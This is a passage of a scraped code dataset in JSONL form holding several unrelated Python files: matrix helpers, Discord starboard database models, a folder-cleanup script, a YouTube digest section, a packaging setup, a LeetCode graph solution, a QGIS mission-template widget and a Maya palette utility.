s[2]\n\n\tm[0, 1] = u[0];\n\tm[1, 1] = u[1];\n\tm[2, 1] = u[2];\n\n\tm[0, 2] =-f[0];\n\tm[1, 2] =-f[1];\n\tm[2, 2] =-f[2];\n\n\tm[3, 0] =-np.dot(s, eye);\n\tm[3, 1] =-np.dot(u, eye);\n\tm[3, 2] = np.dot(f, eye);\n\treturn m\n\ndef TranslationMatrix(x, y, z):\n\t\"\"\"\n\tGenerates a translation matrix\n\n\tArguments:\n\t\tx - how far to translate in the x axis (float)\n\t\ty - how far to translate in the y axis (float)\n\t\tz - how far to translate in the z axis (float)\n\t\"\"\"\n\treturn np.matrix([  [1., 0., 0., x],\n\t\t\t\t\t\t[0., 1., 0., y],\n\t\t\t\t\t\t[0., 0., 1., z],\n\t\t\t\t\t\t[0., 0., 0., 1.]])\n\ndef Normalize(arr):\n\treturn arr / np.linalg.norm(arr)\n\ndef Hyp(arr):\n\treturn np.linalg.norm(arr)\n\ndef RotationMatrix(theta, x, y, z, point=None):\n\t\"\"\"\n\tGenerates a rotation matrix\n\n\tArguments:\n\t\ttheta - amount (in radians) to rotate (float)\n\t\tx - rotation weight in the x direction (float between 0 and 1)\n\t\ty - rotation weight in the y direction (float between 0 and 1)\n\t\tz - rotation weight in the z direction (float between 0 and 1)\n\t\"\"\"\n\treturn mach.rotation_matrix(theta, [x, y, z])\n\ndef ScaleMatrix(x, y, z):\n\treturn np.matrix([  [x,       0.,      0.,      0.],\n\t\t\t\t\t\t[0.,      y,       0.,      0.],\n\t\t\t\t\t\t[0.,      0.,      z,       0.],\n\t\t\t\t\t\t[0.,      0.,      0.,      1.]])\n\ndef MatFromArray(arr):\n\treturn np.matrix([  [arr[0],  arr[1],  arr[2],  arr[3]],\n\t\t\t\t\t\t[arr[4],  arr[5],  arr[6],  arr[7]],\n\t\t\t\t\t\t[arr[8],  arr[9],  arr[10], arr[11]],\n\t\t\t\t\t\t[arr[12], arr[13], arr[14], arr[15]]\n\t\t\t\t\t\t])\n","repo_name":"WilliamRodriguez42/MachEngine","sub_path":"Project/Mach/Matrix.py","file_name":"Matrix.py","file_ext":"py","file_size_in_byte":2749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35933177206","text":"from __future__ import annotations\n\nimport typing as t\n\nimport asyncpg\nimport attr\nimport hikari\n\nfrom .db import DatabaseModel\n\n\n@attr.define()\nclass StarboardSettings(DatabaseModel):\n    \"\"\"Represents the starboard settings for a guild.\"\"\"\n\n    guild_id: hikari.Snowflake = attr.field()\n    \"\"\"The guild this starboard settings belongs to.\"\"\"\n\n    channel_id: hikari.Snowflake | None = attr.field(default=None)\n    \"\"\"The channel where the starboard messages will be sent.\"\"\"\n\n    star_limit: int = attr.field(default=5)\n    \"\"\"The amount of stars needed to post a message to the starboard.\"\"\"\n\n    is_enabled: bool = attr.field(default=False)\n    \"\"\"Whether the starboard is enabled or not.\"\"\"\n\n    excluded_channels: t.Sequence[hikari.Snowflake] | None = attr.field(default=None)\n    \"\"\"Channels that are excluded from the starboard.\"\"\"\n\n    @classmethod\n    def from_record(cls, record: asyncpg.Record) -> StarboardSettings:\n        \"\"\"Create an instance of StarboardSettings from an asyncpg.Record.\"\"\"\n\n        return cls(\n            guild_id=record[\"guild_id\"],\n            channel_id=record[\"channel_id\"],\n            star_limit=record[\"star_limit\"],\n            is_enabled=record[\"is_enabled\"],\n            excluded_channels=record[\"excluded_channels\"],\n        )\n\n    @classmethod\n    async def fetch(cls, guild: hikari.SnowflakeishOr[hikari.PartialGuild]) -> StarboardSettings:\n        \"\"\"Fetch the starboard settings for a guild from the database. If they do not exist, return default values.\"\"\"\n\n        records = await cls._app.db_cache.get(table=\"starboard\", guild_id=hikari.Snowflake(guild), limit=1)\n        if not records:\n            return cls(guild_id=hikari.Snowflake(guild))\n        return cls.from_record(records[0])\n\n    async def update(self) -> None:\n        \"\"\"Update the starboard settings in the database, or insert them if they do not yet exist.\"\"\"\n\n        await self._db.execute(\n            \"\"\"INSERT INTO starboard \n            (guild_id, channel_id, star_limit, is_enabled, excluded_channels) \n            VALUES ($1, $2, $3, $4, $5) \n            ON CONFLICT (guild_id) DO \n            UPDATE SET channel_id = $2, star_limit = $3, is_enabled = $4, excluded_channels = $5\"\"\",\n            self.guild_id,\n            self.channel_id,\n            self.star_limit,\n            self.is_enabled,\n            self.excluded_channels,\n        )\n        await self._app.db_cache.refresh(table=\"starboard\", guild_id=self.guild_id)\n\n\n@attr.define()\nclass StarboardEntry(DatabaseModel):\n    \"\"\"Represents a starboard entry in the database.\"\"\"\n\n    guild_id: hikari.Snowflake = attr.field()\n    \"\"\"The guild this starboard entry belongs to.\"\"\"\n\n    channel_id: hikari.Snowflake = attr.field()\n    \"\"\"The channel the original message is in.\"\"\"\n\n    original_message_id: hikari.Snowflake = attr.field()\n    \"\"\"The message that was starred.\"\"\"\n\n    entry_message_id: hikari.Snowflake = attr.field()\n    \"\"\"The message that was posted to the starboard.\"\"\"\n\n    force_starred: bool = attr.field(default=False)\n    \"\"\"Whether the message was force starred or not.\"\"\"\n\n    @classmethod\n    def from_record(cls, record: asyncpg.Record) -> StarboardEntry:\n        \"\"\"Create an instance of StarboardEntry from an asyncpg.Record.\"\"\"\n\n        return cls(\n            guild_id=record[\"guild_id\"],\n            channel_id=record[\"channel_id\"],\n            original_message_id=record[\"orig_msg_id\"],\n            entry_message_id=record[\"entry_msg_id\"],\n            force_starred=record[\"force_starred\"],\n        )\n\n    @classmethod\n    async def fetch(cls, original_message: hikari.SnowflakeishOr[hikari.PartialMessage]) -> StarboardEntry | None:\n        \"\"\"Fetch the starboard entry for a message from the database, if one exists.\"\"\"\n\n        records = await cls._app.db_cache.get(\n            table=\"starboard_entries\", orig_msg_id=hikari.Snowflake(original_message), limit=1\n        )\n        if not records:\n            return None\n        return cls.from_record(records[0])\n\n    async def update(self) -> None:\n        \"\"\"Update the starboard entry in the database, or insert it if it does not yet exist.\"\"\"\n\n        await self._db.execute(\n            \"\"\"INSERT INTO starboard_entries \n            (guild_id, channel_id, orig_msg_id, entry_msg_id, force_starred) \n            VALUES ($1, $2, $3, $4, $5) \n            ON CONFLICT (guild_id, channel_id, orig_msg_id) DO \n            UPDATE SET guild_id = $1, channel_id = $2, orig_msg_id = $3, entry_msg_id = $4, force_starred = $5\"\"\",\n            self.guild_id,\n            self.channel_id,\n            self.original_message_id,\n            self.entry_message_id,\n            self.force_starred,\n        )\n        await self._app.db_cache.refresh(table=\"starboard_entries\", orig_msg_id=self.original_message_id)\n\n    async def delete(self) -> None:\n        \"\"\"Delete the starboard entry from the database.\"\"\"\n\n        await self._db.execute(\n            \"DELETE FROM starboard_entries WHERE guild_id = $1 AND orig_msg_id = $2\",\n            self.guild_id,\n            self.original_message_id,\n        )\n        await self._app.db_cache.refresh(table=\"starboard_entries\", orig_msg_id=self.original_message_id)\n","repo_name":"HyperGH/snedbot","sub_path":"models/starboard.py","file_name":"starboard.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"51"}
+{"seq_id":"25316729181","text":"from os import listdir\nfrom os.path import isfile, join\nimport os \ndef cleanFolder(path):\n    for root, directories, files in os.walk(path, topdown=False):\n        for name in files:\n            #print(os.path.join(root, name))\n            if name.endswith('.exe'):\n                os.remove(os.path.join(root, name))\n        for name in directories:\n            print(os.path.join(root, name))\n\n\n\ncurrentPath = os.path.dirname(os.path.realpath(__file__))\ncleanFolder(currentPath)\n","repo_name":"danghoangnhan/UVA","sub_path":"cleanExeFile.py","file_name":"cleanExeFile.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"37078845596","text":"#!/usr/bin/env python3\n\nimport os\nimport pickle\n\nfrom apiclient.discovery import build\nfrom datetime import datetime, timedelta\nfrom jinja2 import Template\nfrom newsbetter import Section\n\n\nclass YouTubeSection(Section):\n    def __init__(self, channels, api_key):\n        super().__init__(\"youtube\")\n\n        self.api_key = api_key\n        self.channels = channels\n        self.youtube = build(\"youtube\", \"v3\", developerKey=self.api_key)\n\n        # Load channel ID cache\n        self.cache_file = \"./cache.pkl\"\n        if not os.path.isfile(self.cache_file):\n            self.cache = {}\n        else:\n            with open(self.cache_file, 'rb+') as f:\n                self.cache = pickle.load(f)\n\n    def html(self, recipient):\n        videos = self.videos()\n\n        if len(videos) == 0:\n            return \"\"\n        else:\n            return Template(\"\"\"\n            <h2>Videos</h2>\n            <ul>\n            {% for video in videos %}\n                <li>\n                    <a href=\"{{ video['url'] }}\">{{ video['title'] }}</a>\n                </li>\n            {% endfor %}\n            </ul>\n            \"\"\").render(videos=videos)\n\n    def videos(self):\n        today = datetime.now()\n        yesterday = today - timedelta(days=1)\n        videos = map(\n            lambda channel: self.latest_upload(channel, yesterday),\n            self.channels)\n        videos = list(filter(None, videos))\n\n        return videos\n\n    def latest_upload(self, channel, since):\n       # Search for channel by name and get ID\n        if channel in self.cache:\n            channel_id = self.cache[channel]\n        else:\n            request = self.youtube.search().list(\n                q=channel, type=\"channel\", part=\"id\", maxResults=1)\n            channel_id = request.execute()['items'][0]['id']['channelId']\n            self.cache[channel] = channel_id\n            with open(self.cache_file, 'wb+') as f:\n                pickle.dump(self.cache, f)\n\n        # Get uploads playlist\n        request = self.youtube.channels().list(\n            part=\"contentDetails\",\n            id=channel_id\n        )\n\n        response = request.execute()\n        uploadsPlaylistId = response['items'][0]['contentDetails']['relatedPlaylists']['uploads']\n\n        # Retrieve uploaded videos\n        request = self.youtube.playlistItems().list(\n            part=\"snippet,contentDetails\",\n            playlistId=uploadsPlaylistId,\n            maxResults=1\n        )\n\n        response = request.execute()\n        latest_video = response['items'][0]\n        publish_date = datetime.strptime(\n            latest_video['contentDetails']['videoPublishedAt'], \"%Y-%m-%dT%H:%M:%SZ\")\n\n        # Return only if video has been published after \"since\" date\n        if publish_date > since:\n            # Retrieve and return metadata or video\n            return {\n                \"title\": f\"{latest_video['snippet']['title']}\",\n                \"channel\": channel,\n                \"url\": f\"https://www.youtube.com/watch?v={latest_video['contentDetails']['videoId']}\"\n            }\n        else:\n            return None\n","repo_name":"ritamsarmah/newsbetter","sub_path":"sections/youtube.py","file_name":"youtube.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"4164519386","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as readme_file:\n    readme = readme_file.read()\n\nsetup(\n    name=\"py_cuda_paillier\",\n    version=\"0.0.5\",\n    author=\"Vsevolod Vlasov\",\n    author_email=\"cold.vv.ss@gmail.com\",\n    description=\"Adapted Paillier Cryptosystem to CUDA architecture\",\n    long_description=readme,\n    long_description_content_type='text/markdown',\n    url=\"https://github.com/homo-paillier-cryprosystem/py-cuda-paillier/\",\n    packages=find_packages(),\n    classifiers=[\n        \"Programming Language :: Python :: 3.8\",\n        \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n    ],\n)\n","repo_name":"homo-paillier-cryprosystem/py-cuda-paillier","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"51"}
+{"seq_id":"71228026720","text":"#\n# @lc app=leetcode.cn id=2045 lang=python3\n#\n# [2045] 到达目的地的第二短时间\n#\n\n# @lc code=start\nimport collections\nfrom typing import List\n\n\nclass Solution:\n    def secondMinimum(self, n: int, edges: List[List[int]], time: int, change: int) -> int:\n        graph = collections.defaultdict(list)\n        for u, v in edges:\n            graph[u].append(v)\n            graph[v].append(u)\n        \n        dist = [[float('inf') for _ in range(2)] for _ in range(n + 1)]\n        dist[1][0] = 0\n        queue = collections.deque([(1, 0)])\n        while dist[n][1] == float('inf'):\n            u, d = queue.popleft()\n            for v in graph[u]:\n                dis = d + 1\n                if dis < dist[v][0]:\n                    dist[v][0] = dis\n                    queue.append((v, dis))\n                elif dist[v][0] < dis < dist[v][1]:\n                    dist[v][1] = dis\n                    queue.append((v, dis))\n        \n        ans = 0\n        for _ in range(dist[n][1]):\n            if ans % (2 * change) >= change:\n                ans += change * 2 - ans % (change * 2)\n            ans += time\n        return ans\n\n# @lc code=end\n\n","repo_name":"Jvaeyhcd/.leetcode","sub_path":"2045.到达目的地的第二短时间.py","file_name":"2045.到达目的地的第二短时间.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"35199617020","text":"from PyQt5.QtWidgets import QWidget, QMessageBox\nfrom PyQt5.QtGui import QColor\nfrom PyQt5.QtCore import Qt\n\nfrom iquaview.src.ui.ui_rectangletemplatewidget import Ui_RectangleTemplateWidget\nfrom iquaview.src.mission.maptools.rectangletools import (RectBy3PointsTool,\n                                                          RectByFixedExtentTool,\n                                                          RectFromCenterTool,\n                                                          RectFromCenterFixedTool)\nfrom iquaview.src.cola2api.mission_types import (Mission,\n                                                 MissionStep,\n                                                 MissionPosition,\n                                                 MissionWaypoint,\n                                                 MissionSection,\n                                                 MissionTolerance)\nfrom qgis.gui import QgsRubberBand\nfrom qgis.core import QgsPointXY, QgsWkbTypes, QgsDistanceArea, QgsCoordinateReferenceSystem, QgsProject\n\n\nclass RectangleTemplateWidget(QWidget, Ui_RectangleTemplateWidget):\n\n    def __init__(self, canvas, msglog, current_missiontrack, parent=None):\n        super(RectangleTemplateWidget, self).__init__(parent)\n        self.setupUi(self)\n        self.canvas = canvas\n        self.msglog = msglog\n        self.current_missiontrack = current_missiontrack\n        self.setAttribute(Qt.WA_DeleteOnClose)\n        self.rubber_band = None\n        self.rubber_band_points = None\n        self.initial_point = None\n\n        self.template_type = 'rectangle_template'\n        self.wp = list()\n        self.mission = None\n        self.distance = QgsDistanceArea()\n        self.distance.setSourceCrs(QgsCoordinateReferenceSystem(4326), QgsProject.instance().transformContext())\n        self.distance.setEllipsoid('WGS84')\n\n        self.wp_list = []\n\n        self.rubber_band = QgsRubberBand(self.canvas, QgsWkbTypes.LineGeometry)\n        self.rubber_band.setWidth(2)\n        self.rubber_band.setColor(QColor(\"green\"))\n\n        self.rubber_band_points = QgsRubberBand(self.canvas, QgsWkbTypes.PointGeometry)\n        self.rubber_band_points.setColor(QColor(\"green\"))\n        self.rubber_band_points.setIcon(QgsRubberBand.ICON_CIRCLE)\n        self.rubber_band_points.setIconSize(10)\n\n        self.initial_point = QgsRubberBand(self.canvas, QgsWkbTypes.PointGeometry)\n        self.initial_point.setColor(QColor(\"red\"))\n        self.initial_point.setIcon(QgsRubberBand.ICON_CIRCLE)\n        self.initial_point.setIconSize(10)\n\n        self.onTarget = False\n        self.area_points = None\n        self.missionAreaDefined = False\n\n        # Get the tools\n        self.rectBy3Points_tool = RectBy3PointsTool(self.canvas)\n        self.rectByFixedExtentTool = RectByFixedExtentTool(self.canvas, 0.0, 0.0)\n        self.rect_from_center_tool = RectFromCenterTool(self.canvas)\n        self.rect_from_center_fixed_tool = RectFromCenterFixedTool(self.canvas, 0.0, 0.0)\n\n        self.drawRectangleButton.clicked.connect(self.draw_mission_area)\n        self.centerOnTargetButton.clicked.connect(self.draw_mission_area)\n        self.rectBy3Points_tool.msgbar.connect(self.pass_message_bar)\n\n        self.depthButton.setAutoExclusive(False)\n        self.altitudeButton.setAutoExclusive(False)\n\n        self.depthButton.setChecked(True)\n        self.altitudeButton.setChecked(False)\n\n        self.alongTrackLabel.setEnabled(False)\n        self.acrossTrackLabel.setEnabled(False)\n        self.alongTLength.setEnabled(False)\n        self.acrossTLength.setEnabled(False)\n\n        self.fixedExtent.toggled.connect(self.fixed_extend_toggled)\n        self.depthButton.toggled.connect(self.depth_toggled)\n        self.altitudeButton.toggled.connect(self.altitude_toggled)\n\n        self.initial_point_comboBox.currentIndexChanged.connect(self.change_initial_point)\n\n    def get_template_mission(self):\n        return self.mission\n\n    def fixed_extend_toggled(self):\n        is_checked = self.fixedExtent.isChecked()\n        self.alongTrackLabel.setEnabled(is_checked)\n        self.acrossTrackLabel.setEnabled(is_checked)\n        self.alongTLength.setEnabled(is_checked)\n        self.acrossTLength.setEnabled(is_checked)\n\n    def depth_toggled(self):\n        if self.depthButton.isChecked():\n            self.altitudeButton.setChecked(False)\n\n    def altitude_toggled(self):\n        if self.altitudeButton.isChecked():\n            self.depthButton.setChecked(False)\n\n    def pass_message_bar(self, msg):\n        self.msglog.logMessage(\"\")\n        self.msglog.logMessage(msg, \"Lawn Mower\", 0)\n\n    def draw_mission_area(self):\n        self.onTarget = False\n        sender = self.sender().objectName()\n        if not self.missionAreaDefined:\n            if self.automaticExtent.isChecked():\n                if sender == self.drawRectangleButton.objectName():\n                    self.msglog.logMessage(\"Click starting point\", \"Lawn Mower\", 0)\n                    # Draw mission area\n                    self.rectBy3Points_tool = RectBy3PointsTool(self.canvas)\n                    self.canvas.setMapTool(self.rectBy3Points_tool)\n                    self.rectBy3Points_tool.msgbar.connect(self.pass_message_bar)\n                    self.rectBy3Points_tool.rb_reset_signal.connect(self.clear_initial_point)\n                    self.rectBy3Points_tool.rbFinished.connect(self.create_mission_area)\n                elif sender == self.centerOnTargetButton.objectName():\n                    self.onTarget = True\n                    self.msglog.logMessage(\"Click center point\", \"Lawn Mower\", 0)\n                    # Draw mission area\n                    self.rect_from_center_tool = RectFromCenterTool(self.canvas)\n                    self.canvas.setMapTool(self.rect_from_center_tool)\n                    self.rect_from_center_tool.msgbar.connect(self.pass_message_bar)\n                    self.rect_from_center_tool.rb_reset_signal.connect(self.clear_initial_point)\n                    self.rect_from_center_tool.rbFinished.connect(self.create_mission_area)\n                self.missionAreaDefined = True\n                return\n\n            elif self.fixedExtent.isChecked():\n                if self.alongTLength.value() != 0.0 and self.acrossTLength.value() != 0.0:\n                    if sender == self.drawRectangleButton.objectName():\n                        self.msglog.logMessage(\"Click starting point\", \"Lawn Mower\", 0)\n\n                        self.rectByFixedExtentTool = RectByFixedExtentTool(self.canvas,\n                                                                           self.alongTLength.value(),\n                                                                           self.acrossTLength.value())\n                        self.canvas.setMapTool(self.rectByFixedExtentTool)\n                        self.rectByFixedExtentTool.msgbar.connect(self.pass_message_bar)\n                        self.rectByFixedExtentTool.rb_reset_signal.connect(self.clear_initial_point)\n                        self.rectByFixedExtentTool.rbFinished.connect(self.create_mission_area)\n                        self.missionAreaDefined = True\n                    elif sender == self.centerOnTargetButton.objectName():\n                        self.onTarget = True\n                        self.msglog.logMessage(\"Click center point\", \"Lawn Mower\", 0)\n\n                        self.rect_from_center_fixed_tool = RectFromCenterFixedTool(self.canvas,\n                                                                                   self.alongTLength.value(),\n                                                                                   self.acrossTLength.value())\n                        self.canvas.setMapTool(self.rect_from_center_fixed_tool)\n                        self.rect_from_center_fixed_tool.msgbar.connect(self.pass_message_bar)\n                        self.rect_from_center_fixed_tool.rb_reset_signal.connect(self.clear_initial_point)\n                        self.rect_from_center_fixed_tool.rbFinished.connect(self.create_mission_area)\n                    return\n\n                else:\n                    QMessageBox.warning(None,\n                                        \"Mission Template\",\n                                        \"<center>Track lengths must be different from zero. </center>\",\n                                        QMessageBox.Close)\n\n                    return\n        else:\n\n            self.deactivate_tool()\n\n            self.rubber_band.reset(QgsWkbTypes.LineGeometry)\n            self.rubber_band_points.reset(QgsWkbTypes.PointGeometry)\n            self.initial_point.reset(QgsWkbTypes.PointGeometry)\n            self.missionAreaDefined = False\n            self.draw_mission_area()\n\n    def clear_initial_point(self):\n        \"\"\"\n        Reset the initial point rubber band from canvas\n        \"\"\"\n        if self.initial_point is not None:\n            self.initial_point.reset(QgsWkbTypes.PointGeometry)\n\n    def change_initial_point(self):\n        \"\"\"\n        Change the initial point\n        \"\"\"\n        self.clear_initial_point()\n        if self.area_points is not None:\n            area = self.area_points\n            index = self.initial_point_comboBox.currentIndex()\n\n            self.initial_point.addPoint(area[index])\n\n    def create_mission_area(self, geom):\n        self.pass_message_bar(\"\")\n        self.clear_initial_point()\n        if geom is not None:\n            # Store points to variables\n            self.area_points = [QgsPointXY(geom.vertexAt(0)),\n                                QgsPointXY(geom.vertexAt(1)),\n                                QgsPointXY(geom.vertexAt(2)),\n                                QgsPointXY(geom.vertexAt(3))]\n\n            self.change_initial_point()\n\n            self.missionAreaDefined = True\n\n    def preview_tracks(self):\n        \"\"\" preview tracks on the canvas\"\"\"\n        if self.missionAreaDefined:\n            if self.altitudeButton.isChecked() and self.depthAltitudeBox.value() == 0:\n                QMessageBox.warning(None,\n                                    \"Mission Template\",\n                                    \"<center>Altitude must be different from zero. </center>\",\n                                    QMessageBox.Close)\n            else:\n                self.wp_list = self.compute_tracks(self.get_area_points())\n                self.track_to_mission(self.wp_list, self.get_z(), self.get_altitude_mode(),\n                                                self.get_speed(),\n                                                self.get_x_tolerance(), self.get_y_tolerance(), self.get_z_tolerance())\n\n                # show rubber band with temporal tracks\n                self.rubber_band.reset(QgsWkbTypes.LineGeometry)\n                self.rubber_band_points.reset(QgsWkbTypes.PointGeometry)\n                self.initial_point.reset(QgsWkbTypes.PointGeometry)\n                for wp in self.wp_list:\n                    self.rubber_band.addPoint(QgsPointXY(wp.x(), wp.y()))\n                    self.rubber_band_points.addPoint(QgsPointXY(wp.x(), wp.y()))\n                self.rubber_band_points.show()\n                self.rubber_band.show()\n\n                self.unset_map_tool()\n        else:\n            QMessageBox.warning(None,\n                                \"Mission Template\",\n                                \"<center>Define first an area for the mission. </center>\",\n                                QMessageBox.Close)\n\n    def get_area_points(self):\n        return self.area_points\n\n    def get_num_across_tracks(self):\n        return int(self.numAcrossTracks.value())\n\n    def get_altitude_mode(self):\n        return self.altitudeButton.isChecked()\n\n    def get_z(self):\n        return self.depthAltitudeBox.value()\n\n    def get_speed(self):\n        return self.speed_doubleSpinBox.value()\n\n    def get_x_tolerance(self):\n        return self.x_tolerance_doubleSpinBox.value()\n\n    def get_y_tolerance(self):\n        return self.y_tolerance_doubleSpinBox.value()\n\n    def get_z_tolerance(self):\n        return self.z_tolerance_doubleSpinBox.value()\n\n    def get_mission_type(self):\n        return self.template_type\n\n    def compute_tracks(self, area_points):\n\n        \"\"\"\n             Compute rectangle tracks\n            :param area_points: points defining the extent of the tracks, they should be in WGS 84 lat/lon.\n                                first two points define the along track direction.\n            :return: list of ordered waypoints of rectangle trajectory\n            \"\"\"\n\n        index = self.initial_point_comboBox.currentIndex()\n        if index == 0:\n            new_area = [area_points[0],\n                        area_points[1],\n                        area_points[2],\n                        area_points[3]]\n        elif index == 1:\n            new_area = [area_points[1],\n                        area_points[2],\n                        area_points[3],\n                        area_points[0]]\n        elif index == 2:\n            new_area = [area_points[2],\n                        area_points[3],\n                        area_points[0],\n                        area_points[1]]\n        elif index == 3:\n            new_area = [area_points[3],\n                        area_points[0],\n                        area_points[1],\n                        area_points[2]]\n\n        new_area.append(area_points[index])\n\n        return new_area\n\n    def track_to_mission(self, wp_list, z, altitude_mode, speed, tolerance_x, tolerance_y, tolerance_z):\n\n        self.mission = Mission()\n        for wp in range(len(wp_list)):\n            if wp == 0:\n                # first step type waypoint\n                step = MissionStep()\n                mwp = MissionWaypoint(MissionPosition(wp_list[wp].y(), wp_list[wp].x(), z, altitude_mode),\n                                      speed,\n                                      MissionTolerance(tolerance_x, tolerance_y, tolerance_z))\n                step.add_maneuver(mwp)\n                self.mission.add_step(step)\n            else:\n                # rest of steps type section\n                step = MissionStep()\n                mwp = MissionSection(MissionPosition(wp_list[wp - 1].y(), wp_list[wp - 1].x(), z, altitude_mode),\n                                     MissionPosition(wp_list[wp].y(), wp_list[wp].x(), z, altitude_mode),\n                                     speed,\n                                     MissionTolerance(tolerance_x, tolerance_y, tolerance_z))\n                step.add_maneuver(mwp)\n                self.mission.add_step(step)\n\n    def delete_widget(self):\n        self.delete_all(self.layout())\n        self.deleteLater()\n        self.close()\n\n    def delete_all(self, layout):\n        \"\"\"\n        delete all widget from layout\n        :param layout: layout is a qt layout\n        \"\"\"\n        if layout is not None:\n            for i in reversed(range(layout.count())):\n                item = layout.takeAt(i)\n                widget = item.widget()\n                if widget is not None:\n                    widget.deleteLater()\n                else:\n                    self.delete_all(item.layout())\n\n    def unset_map_tool(self):\n        \"\"\"\n        Unset map tool from canvas.\n        \"\"\"\n        if self.automaticExtent.isChecked():\n            if self.onTarget:\n                self.canvas.unsetMapTool(self.rect_from_center_tool)\n            else:\n                self.canvas.unsetMapTool(self.rectBy3Points_tool)\n        if self.fixedExtent.isChecked():\n            if self.onTarget:\n                self.canvas.unsetMapTool(self.rect_from_center_fixed_tool)\n            else:\n                self.canvas.unsetMapTool(self.rectByFixedExtentTool)\n\n    def deactivate_tool(self):\n        \"\"\"\n        Deactivate tool.\n        \"\"\"\n        if self.rectBy3Points_tool:\n            self.rectBy3Points_tool.deactivate()\n        elif self.rectByFixedExtentTool:\n            self.rectByFixedExtentTool.deactivate()\n        if self.rect_from_center_tool:\n            self.rect_from_center_tool.deactivate()\n        elif self.rect_from_center_fixed_tool:\n            self.rect_from_center_fixed_tool.deactivate()\n\n    def close(self):\n\n        self.unset_map_tool()\n        self.deactivate_tool()\n\n        if self.rubber_band is not None:\n            self.canvas.scene().removeItem(self.rubber_band)\n            del self.rubber_band\n            self.rubber_band = None\n        if self.rubber_band_points is not None:\n            self.canvas.scene().removeItem(self.rubber_band_points)\n            del self.rubber_band_points\n            self.rubber_band_points = None\n        if self.initial_point is not None:\n            self.canvas.scene().removeItem(self.initial_point)\n            del self.initial_point\n            self.initial_point = None\n","repo_name":"martorelltorres/iquaview_1.1.0","sub_path":"iquaview/iquaview/src/mission/missiontemplates/rectangletemplatewidget.py","file_name":"rectangletemplatewidget.py","file_ext":"py","file_size_in_byte":16717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"69799627999","text":"import json\n\nfrom Qt import QtGui, QtWidgets\n\n\ndef set_palette_from_dict(dct):\n    \"\"\"Set palette to current QApplication based on given dictionary\"\"\"\n    groups = [\"Disabled\", \"Active\", \"Inactive\", \"Normal\"]\n    roles = [\n        \"AlternateBase\",\n        \"Background\",\n        \"Base\",\n        \"Button\",\n        \"ButtonText\",\n        \"BrightText\",\n        \"Dark\",\n        \"Foreground\",\n        \"Highlight\",\n        \"HighlightedText\",\n        \"Light\",\n        \"Link\",\n        \"LinkVisited\",\n        \"Mid\",\n        \"Midlight\",\n        \"Shadow\",\n        \"ToolTipBase\",\n        \"ToolTipText\",\n        \"Text\",\n        \"Window\",\n        \"WindowText\",\n    ]\n    palette = QtGui.QPalette()\n    for role in roles:\n        try:\n            for group in groups:\n                color = QtGui.QColor(dct[\"%s:%s\" % (role, group)])\n                qGrp = getattr(QtGui.QPalette, group)\n                qRl = getattr(QtGui.QPalette, role)\n                palette.setColor(qGrp, qRl, color)\n        except:  # noqa\n            print(\"Could not use: \" + str(palette))\n    try:\n        QtWidgets.QApplication.setPalette(palette)\n    except:  # noqa\n        print(\"Could not set palette: \" + str(palette))\n\n\ndef set_style():\n    \"\"\"Set style\"\"\"\n    available_styles = QtWidgets.QStyleFactory.keys()\n    if \"Fusion\" in available_styles:\n        QtWidgets.QApplication.setStyle(\"Fusion\")\n    elif \"Plastique\" in available_styles:\n        QtWidgets.QApplication.setStyle(\"Plastique\")\n\n\ndef set_maya_tweaks():\n    \"\"\"Apply Maya-specific styling\"\"\"\n    base_palette = QtWidgets.QApplication.palette()\n\n    # Set custom colors\n    LIGHT_COLOR = QtGui.QColor(100, 100, 100)\n    MID_COLOR = QtGui.QColor(68, 68, 68)\n\n    # Create a new palette\n    tab_palette = QtGui.QPalette(base_palette)\n    tab_palette.setBrush(QtGui.QPalette.Window, QtGui.QBrush(LIGHT_COLOR))\n    tab_palette.setBrush(QtGui.QPalette.Button, QtGui.QBrush(MID_COLOR))\n\n    # Define the widgets that needs tweaking\n    widget_palettes = {}\n    widget_palettes[\"QTabBar\"] = tab_palette\n    widget_palettes[\"QTabWidget\"] = tab_palette\n\n    # Set the new tweaked palette\n    for name, palette in widget_palettes.items():\n        QtWidgets.QApplication.setPalette(palette, name)\n\n\ndef read_json(filepath):\n    \"\"\"Read given JSON filepath into dictionary\"\"\"\n    with open(filepath, \"r\") as data_file:\n        data = json.load(data_file)\n    return data\n\n\ndef set_maya_palette_with_tweaks(palette_filepath):\n    \"\"\"Apply styling to current QApplication\"\"\"\n    data = read_json(palette_filepath)\n    set_palette_from_dict(data)\n    set_style()\n    set_maya_tweaks()\n","repo_name":"fredrikaverpil/pyvfx-boilerplate","sub_path":"src/pyvfx_boilerplate/mayapalette.py","file_name":"mayapalette.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":156,"dataset":"github-code","pt":"51"}
